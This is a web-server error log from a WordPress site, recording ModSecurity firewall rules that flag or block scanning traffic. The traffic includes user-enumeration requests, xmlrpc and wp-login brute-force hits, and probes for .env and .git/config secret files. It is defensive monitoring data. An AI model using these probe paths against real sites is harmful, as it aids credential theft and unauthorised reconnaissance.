[Thu Nov 13 02:05:12.947949 2025] [:error] [pid 12744:tid 12759] [client 68.65.122.206:38718] [client 68.65.122.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aRTMWJ1cp_ouUvkFj0XGJQAAAQs"]
[Thu Nov 13 02:05:18.294413 2025] [:error] [pid 60097:tid 60154] [client 47.242.167.96:60162] [client 47.242.167.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aRTMXsdT5oio_TbWpi_PbAAAAMY"]
[Thu Nov 13 02:06:39.542697 2025] [:error] [pid 60095:tid 60115] [client 194.164.126.55:51740] [client 194.164.126.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.126.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTMr3lw2elroagFF1p_dgAAAFA"]
[Thu Nov 13 02:15:00.565782 2025] [:error] [pid 23737:tid 23768] [client 157.10.198.29:46732] [client 157.10.198.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.198.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTOpBQUsVVfOZWgW_UwdAAAAZM"]
[Thu Nov 13 02:15:04.017605 2025] [:error] [pid 23737:tid 23753] [client 157.10.198.29:46732] [client 157.10.198.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.10.198.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTOqBQUsVVfOZWgW_UwegAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 02:18:53.219861 2025] [:error] [pid 60180:tid 60194] [client 31.220.151.86:33072] [client 31.220.151.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.220.151.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTPjVhgd7ccS8EZg1qcfAAAAUw"]
[Thu Nov 13 02:30:12.840021 2025] [:error] [pid 60095:tid 60111] [client 217.154.101.210:43366] [client 217.154.101.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.101.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTSNHlw2elroagFF1qELwAAAEw"]
[Thu Nov 13 02:35:32.024768 2025] [:error] [pid 60096:tid 60129] [client 78.188.229.245:52816] [client 78.188.229.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.188.229.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTTdDmzkhCvvk8DXOz3PQAAAIM"]
[Thu Nov 13 02:35:36.315754 2025] [:error] [pid 60096:tid 60127] [client 78.188.229.245:52816] [client 78.188.229.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.188.229.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTTeDmzkhCvvk8DXOz3QgAAAIE"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 02:42:27.948604 2025] [:error] [pid 23737:tid 23773] [client 34.202.209.158:63326] [client 34.202.209.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.202.209.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTVExQUsVVfOZWgW_U5qgAAAZg"]
[Thu Nov 13 02:54:46.566585 2025] [:error] [pid 60180:tid 60184] [client 51.210.194.145:45952] [client 51.210.194.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.194.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTX9lhgd7ccS8EZg1qnNwAAAUI"]
[Thu Nov 13 03:05:20.723144 2025] [:error] [pid 12744:tid 12758] [client 199.192.22.82:45824] [client 199.192.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.192.22.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTacJ1cp_ouUvkFj0XZFgAAAQo"]
[Thu Nov 13 03:05:24.589377 2025] [:error] [pid 12744:tid 12772] [client 199.192.22.82:45824] [client 199.192.22.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.192.22.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTadJ1cp_ouUvkFj0XZGQAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 03:06:06.870074 2025] [:error] [pid 23737:tid 23772] [client 194.63.239.143:50958] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.63.239.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTanhQUsVVfOZWgW_VDfgAAAZc"]
[Thu Nov 13 03:27:40.746812 2025] [:error] [pid 60180:tid 60187] [client 85.239.240.114:34658] [client 85.239.240.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.239.240.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTfrFhgd7ccS8EZg1q0kAAAAUU"]
[Thu Nov 13 03:35:59.859510 2025] [:error] [pid 23737:tid 23751] [client 65.108.146.214:36210] [client 65.108.146.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.146.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRThnxQUsVVfOZWgW_VMoAAAAYI"]
[Thu Nov 13 03:36:05.161539 2025] [:error] [pid 23737:tid 23760] [client 65.108.146.214:36210] [client 65.108.146.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.146.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRThpRQUsVVfOZWgW_VMpgAAAYs"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 03:50:36.383210 2025] [:error] [pid 3479:tid 3486] [client 69.48.205.45:60862] [client 69.48.205.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.48.205.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTlDL5pIHZYwh91Q4nO8QAAAMM"]
[Thu Nov 13 03:57:37.482219 2025] [:error] [pid 33998:tid 34069] [client 103.74.116.147:42012] [client 103.74.116.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.74.116.147, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTmsW2zmRY5XWK0KP4oJAAAAIg"]
[Thu Nov 13 04:22:31.296207 2025] [:error] [pid 51491:tid 51496] [client 193.32.208.72:35654] [client 193.32.208.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.208.72, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTsh9QaME15TQuGVKTk6wAAAMA"]
[Thu Nov 13 04:27:41.282739 2025] [:error] [pid 51405:tid 51426] [client 217.154.101.210:38590] [client 217.154.101.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.101.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTtvcgQcOoeDKJ17JeNywAAAA8"]
[Thu Nov 13 04:42:32.088405 2025] [:error] [pid 51405:tid 51419] [client 217.154.101.210:59590] [client 217.154.101.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.101.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTxOMgQcOoeDKJ17JeUpAAAAAg"]
[Thu Nov 13 05:21:57.323458 2025] [:error] [pid 51491:tid 51512] [client 185.11.166.192:57994] [client 185.11.166.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.11.166.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRT6ddQaME15TQuGVKQEyAAAANA"]
[Thu Nov 13 05:40:25.362714 2025] [:error] [pid 2148:tid 2212] [client 66.29.134.41:56338] [client 66.29.134.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.134.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRT-yUGJbloOF51kNo4KwwAAAI0"]
[Thu Nov 13 05:52:11.593150 2025] [:error] [pid 22566:tid 22590] [client 92.205.186.4:46120] [client 92.205.186.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.186.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRUBizfdqWaUbu3e06-PZgAAARY"]
[Thu Nov 13 05:53:08.204568 2025] [:error] [pid 22222:tid 22249] [client 185.56.74.92:32538] [client 185.56.74.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.56.74.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRUBxDL-5qXvQuZkA4GltAAAABc"]
[Thu Nov 13 06:03:32.078922 2025] [:error] [pid 22222:tid 22237] [client 208.97.137.134:53978] [client 208.97.137.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.97.137.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRUENDL-5qXvQuZkA4Gp9AAAAAs"]
[Thu Nov 13 07:22:56.185055 2025] [:error] [pid 22223:tid 22261] [client 85.203.36.162:63723] [client 85.203.36.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRUW0N6it_tNBGH9EAE1ZgAAAEg"]
[Thu Nov 13 10:15:54.775309 2025] [:error] [pid 53582:tid 53594] [client 180.110.203.108:41648] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRU_WkO75dc5VdqLq_6jHgAAAIo"]
[Thu Nov 13 10:21:16.605690 2025] [proxy_fcgi:error] [pid 32882:tid 32905] (70007)The timeout specified has expired: [client 51.81.107.180:33634] AH01075: Error dispatching request to : (polling)
[Thu Nov 13 10:34:32.570681 2025] [:error] [pid 62216:tid 62266] [client 43.163.206.70:57558] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRVDuOpyFB9M2aVQhwOodwAAABM"]
[Thu Nov 13 14:10:02.005485 2025] [:error] [pid 62216:tid 62251] [client 43.130.14.245:53416] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRV2OupyFB9M2aVQhwP0SgAAAAQ"]
[Thu Nov 13 14:35:35.189484 2025] [:error] [pid 6086:tid 6100] [client 216.81.248.1:43962] [client 216.81.248.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRV8N39_6CRZzjZnAe3nTgAAAQs"]
[Thu Nov 13 15:02:03.897649 2025] [:error] [pid 6086:tid 6095] [client 68.183.158.70:52922] [client 68.183.158.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.158.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRWCa39_6CRZzjZnAe31mQAAAQY"]
[Thu Nov 13 15:55:45.951565 2025] [:error] [pid 62217:tid 62294] [client 43.159.143.187:42114] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRWPARjGU3T9wKBmdNcZfAAAAFQ"]
[Thu Nov 13 17:55:43.617741 2025] [:error] [pid 62215:tid 62225] [client 150.241.107.255:56197] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRWrH0vClof1c6XaOBWsHAAAAMY"]
[Thu Nov 13 17:55:44.165231 2025] [:error] [pid 62215:tid 62237] [client 150.241.107.255:56564] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRWrIEvClof1c6XaOBWsJgAAANI"]
[Thu Nov 13 17:55:44.709537 2025] [:error] [pid 44354:tid 44375] [client 150.241.107.255:56770] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrIHqKopQhy3G4s3l0fQAAAZA"]
[Thu Nov 13 17:58:44.430420 2025] [:error] [pid 44354:tid 44378] [client 162.0.235.136:59920] [client 162.0.235.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.235.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRWr1HqKopQhy3G4s3l2MQAAAZM"]
[Thu Nov 13 17:58:47.655546 2025] [:error] [pid 44354:tid 44383] [client 162.0.235.136:59920] [client 162.0.235.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.235.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRWr13qKopQhy3G4s3l2MgAAAZg"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 19:46:28.175070 2025] [:error] [pid 62303:tid 62323] [client 63.250.38.213:50240] [client 63.250.38.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRXFFL-hlFTtVrZw8jD_lwAAAJA"]
[Thu Nov 13 19:46:29.949353 2025] [:error] [pid 62303:tid 62314] [client 63.250.38.213:50240] [client 63.250.38.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRXFFb-hlFTtVrZw8jD_mwAAAIc"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 21:01:39.680584 2025] [:error] [pid 62216:tid 62263] [client 43.157.170.13:48808] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRXWs-pyFB9M2aVQhwNX8AAAABA"]
[Thu Nov 13 22:26:48.070316 2025] [:error] [pid 4992:tid 5009] [client 43.135.133.241:51148] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRXqqCmsutP7nusdj-CPDwAAAM0"]
[Thu Nov 13 22:51:44.732964 2025] [:error] [pid 28868:tid 28876] [client 45.138.16.29:60798] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aRXwgIq9fgBJ6LAEEDzdBwAAAUY"]
[Thu Nov 13 22:51:45.259744 2025] [:error] [pid 28868:tid 28880] [client 45.138.16.29:60873] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aRXwgYq9fgBJ6LAEEDzdGwAAAUo"]
[Thu Nov 13 22:51:45.783695 2025] [:error] [pid 4994:tid 5063] [client 45.138.16.29:60998] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aRXwgQVaYoYtjfBbabUf-gAAAIo"]
[Fri Nov 14 00:12:42.800819 2025] [:error] [pid 4993:tid 5033] [client 103.101.161.220:50882] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.101.161.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYDesl_cC0Js5xNCU10kQAAAAc"]
[Fri Nov 14 00:12:46.078063 2025] [:error] [pid 4993:tid 5046] [client 103.101.161.220:50882] [client 103.101.161.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.101.161.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYDfsl_cC0Js5xNCU10mAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 14 02:20:44.595823 2025] [:error] [pid 56586:tid 56601] [client 188.213.202.118:58641] [client 188.213.202.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYhfK7eYD3G9deYMP5WAAAAAYo"]
[Fri Nov 14 02:58:36.309104 2025] [:error] [pid 56497:tid 56558] [client 188.213.202.136:44791] [client 188.213.202.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYqXHsatOTNIa5GK3t_MAAAAIM"]
[Fri Nov 14 02:58:36.309516 2025] [:error] [pid 56497:tid 56578] [client 188.213.202.128:32893] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYqXHsatOTNIa5GK3t_MQAAAJc"]
[Fri Nov 14 03:14:34.393331 2025] [:error] [pid 56586:tid 56592] [client 188.213.202.148:49045] [client 188.213.202.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYuGq7eYD3G9deYMP5vHwAAAYE"]
[Fri Nov 14 03:14:34.393334 2025] [:error] [pid 56586:tid 56594] [client 188.213.202.140:61137] [client 188.213.202.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYuGq7eYD3G9deYMP5vIAAAAYM"]
